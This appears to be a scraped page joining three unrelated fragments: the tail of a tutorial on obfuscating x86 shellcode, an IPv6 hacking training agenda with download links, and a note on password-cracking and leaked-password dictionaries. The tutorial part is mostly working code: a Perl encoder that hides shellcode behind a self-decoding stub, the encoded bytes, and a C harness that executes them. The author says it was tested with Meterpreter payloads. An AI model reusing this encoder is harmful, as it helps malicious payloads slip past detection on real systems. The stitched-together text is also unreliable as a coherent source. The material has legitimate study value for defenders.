804807e: 88 1e mov %bl,(%esi) 8048080: 89 c7 mov %eax,%edi 8048082: 47 inc %edi 8048083: 46 inc %esi 8048084: e2 ee loop 8048074 <myloop> 08048086 <done>: 8048086: 59 pop %ecx 8048087: ff d1 call *%ecx 8048089: 31 c0 xor %eax,%eax 804808b: b0 01 mov $0x1,%al 804808d: 31 db xor %ebx,%ebx 804808f: cd 80 int $0x80 08048091 <ender>: 8048091: e8 cc ff ff ff call 8048062 <starter> If you do the test at home, you will see that: if the loop counter need a 8 bits register, then: line 4 = \xeb\x2f line 40 (two first opcodes) = \xe8\xcc if the loop counter need a 16 bits register, then: line 4 = \xeb\x31 line 40 (two first opcodes) = \xe8\xca 3.3.3. My god, a NULL byte A last problem that we could have, is to obfuscate a shellcode where the length is a multiple of 256. Indeed, in order to store 256 (or 512, 768, 1024, …), we need a 16bits register. See what happen: mov CX, 257 8048072: 66 b9 01 01 mov $0x101,%cx 4. Putting everything together If you are still awake, here is the updated version of the Perl script, which is managing the loop, jmp and call updates. Note that the dynamic values of the stub (MOV ECX, JMP and CALL) have been replaced by standards strings, and are updated at runtime by the Perl script. The changes have been highlighted. #!/usr/bin/perl -w # --------- # obf2.pl # --------- use strict; # simple shellcode (print 'hello') my $buf = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01" . "\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8" . "\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f"; #========================== CODE ============================= [COLOR="#FFA500"]my $mydecoder = "MY_JMP_ENDER" . "\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89\xd7\x46\x47" . "MY_CNT" . "\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18\x88\x1e\x89\xc7\x47\x46\xe2\xee" . "\x59\xff\xd1\x31\xc0\xb0\x01\x31\xdb\xcd\x80" . "MY_JMP_STARTER" . "\xff\xff\xff"; my $buf_length = do{length $buf}; print "// initial Shellcode length: " . $buf_length . "\n\n"; # IF buf_length is a multiple of 256, we will get NULL bytes whitin MY_CNT. # so, just add a NOP instruction at the end if($buf_length % 256 eq 0 ){ print "// length is a multiple of '256'. Add a NOP."; $buf .= "\x90"; } # Update decoder values my $mov_cl = "\xb1"; # loop counters <= 8bits my $mov_cx = "\x66\xb9"; # loop counter > 8bits my $jmp_ender_8bits = "\xeb\x2f"; # jmp ender (<= 8bits) my $jmp_ender_16bits = "\xeb\x31"; # jmp ender (> 8bits) my $jmp_starter_8bits = "\xe8\xcc"; # jmp starter (<= 8bits) my $jmp_starter_16bits = "\xe8\xca"; # jmp starter (> 8bits) if($buf_length < 256 ){ # set ECX counter $mov_cl .= pack('W', int($buf_length)); $mydecoder =~ s/MY_CNT/$mov_cl/; # replace JMP $mydecoder =~ s/MY_JMP_ENDER/$jmp_ender_8bits/; $mydecoder =~ s/MY_JMP_STARTER/$jmp_starter_8bits/; }else{ # set ECX counter $mov_cx .= pack('S', int($buf_length)); $mydecoder =~ s/MY_CNT/$mov_cx/; # replace JMP $mydecoder =~ s/MY_JMP_ENDER/$jmp_ender_16bits/; $mydecoder =~ s/MY_JMP_STARTER/$jmp_starter_16bits/; } [/COLOR] # convert buf string into an array my @buf_array = unpack 'a' x length $buf, $buf; # random pool my @rnd_steps=(1,2,3); my @chars=('a'..'z','A'..'Z','0'..'9','_'); # final shellcode my $final = ""; # init pseudo rnd generator my $rnd=0; srand(time); # start obfuscation for(my $i=0; $i< $buf_length ; $i++){ # copy good shellcode byte into final buffer $final .= chr(ord($buf_array[$i])); # get random from @rnd_step $rnd = $rnd_steps[rand @rnd_steps]; # append random number after the SC byte $final .= pack('c', $rnd); # add 'random - 1' junk bytes for(my $p=1; $p < $rnd; $p++){ $final .= $chars[rand @chars]; # RND } } [COLOR="#FFA500"]# prefix shellcode with the decoder $final = $mydecoder . $final ;[/COLOR] # print final shellcode in C language print "// STUB + SHELLCODE\n"; print "unsigned char buf[] = "; my $hex = unpack('H*', $final); for (my $i = 0; $i < length $hex; $i+=2) { if($i % 15 eq 0){ if($i eq 0) {print "\n\"";} else {print "\"\n\"";} } print "\\x" . substr $hex, $i, 2; } print "\";\n\n"; # print shellcode length (optional) print "unsigned int buf_len = ". do{length $final} . ";\n"; The final shellcode is now: // STUB + SHELLCODE unsigned char buf[] = "\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89" "\xd7\x46\x47\xb1\x25\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18" "\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01" "\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff\xeb\x03\x36\x4d\x19\x03" "\x48\x4b\x31\x03\x4d\x75\xc0\x02\x55\x31\x02\x48\xdb\x03\x72" "\x66\x31\x03\x71\x68\xd2\x01\x31\x03\x76\x70\xc9\x03\x6f\x77" "\xb0\x01\x04\x02\x58\xb3\x02\x54\x01\x02\x6d\x59\x03\x6e\x34" "\xb2\x03\x37\x74\x05\x02\x33\xcd\x02\x72\x80\x03\x52\x52\x31" "\x01\xc0\x03\x33\x31\xb0\x02\x6c\x01\x01\x31\x01\xdb\x02\x50" "\xcd\x03\x5a\x6f\x80\x02\x6a\xe8\x01\xe2\x01\xff\x03\x38\x4c" "\xff\x03\x65\x4f\xff\x01\x68\x02\x78\x65\x03\x75\x53\x6c\x02" "\x31\x6c\x03\x4d\x44\x6f\x03\x73\x64"; unsigned int buf_len = 174; 5. Testing the new shellcode We’ve made some tests with various Metasploit payloads (Meterpreter, DialogBox, Cmd, ..) to ensure the reliability of the produced shellcode. But to preserve your bandwidth, we will limit the demonstration to this simple “Hello” shellcode, used throughout this article, and generated in the previous section. /*************/ /* sc-test.c */ /*************/ // STUB+ SHELLCODE unsigned char buf[] = "\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89" "\xd7\x46\x47\xb1\x25\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18" "\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01" "\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff\xeb\x03\x36\x4d\x19\x03" "\x48\x4b\x31\x03\x4d\x75\xc0\x02\x55\x31\x02\x48\xdb\x03\x72" "\x66\x31\x03\x71\x68\xd2\x01\x31\x03\x76\x70\xc9\x03\x6f\x77" "\xb0\x01\x04\x02\x58\xb3\x02\x54\x01\x02\x6d\x59\x03\x6e\x34" "\xb2\x03\x37\x74\x05\x02\x33\xcd\x02\x72\x80\x03\x52\x52\x31" "\x01\xc0\x03\x33\x31\xb0\x02\x6c\x01\x01\x31\x01\xdb\x02\x50" "\xcd\x03\x5a\x6f\x80\x02\x6a\xe8\x01\xe2\x01\xff\x03\x38\x4c" "\xff\x03\x65\x4f\xff\x01\x68\x02\x78\x65\x03\x75\x53\x6c\x02" "\x31\x6c\x03\x4d\x44\x6f\x03\x73\x64"; int main(int argc, char **argv){ int (*func)(); func = (int ()) buf; (int)(*func)(); } Compile sc-test.c and run it: [user@linux]$ gcc -o sc-test sc-test.c [user@linux]$ ./sc-test hello [user@linux]$ Great! Let’s print Hello over the world ! ;-) Hope you enjoy. http://funoverip.net/2011/09/simple-shellcode-obfuscation/

Agenda (I) ? Objectives of this training ? Motivation for IPv6, and current state of affairs ? Brief comparision between IPv6 and IPv4 ? IPv6 Addressing Architecture ? IPv6 Header Fields ? IPv6 Extension Headers ? IPv6 Options ? Internet Control Message Protocol version 6 (ICMPv6) ? Neighbor Discovery for IPv6 ? IPv6 Address Resolution ? Stateless Address Auto-configuration (SLAAC) Agenda (II) ? IPsec ? Multicast Listener Discovery ? Dynamic Host Configuration Protocol version 6 (DHCPv6) ? DNS support for IPv6 ? IPv6 firewalls ? Transition/co-existence technologies (6to4, Teredo, ISATAP, etc.) ? Network reconnaissance in IPv6 ? Security Implications of IPv6 on IPv4-only networks ? IPv6 deployment considerations ? Key areas in which further work is needed ? Some conclusions :: DOWNLOAD :: http://www.si6networks.com/presentations/deepsec2011/fgont-deepsec2011-hacking-ipv6-networks.pdf :: MIRROR :: http://www.multiupload.com/SUK9605K4P

These are dictionaries that come with tools/worms/etc, designed for cracking passwords. Passwords that were leaked or stolen from sites These are dictionaries of words (etc), not passwords. They may be useful for one reason or another. Facebook lists http://www.skullsecurity.org/wiki/index.php/Passwords#Password_dictionaries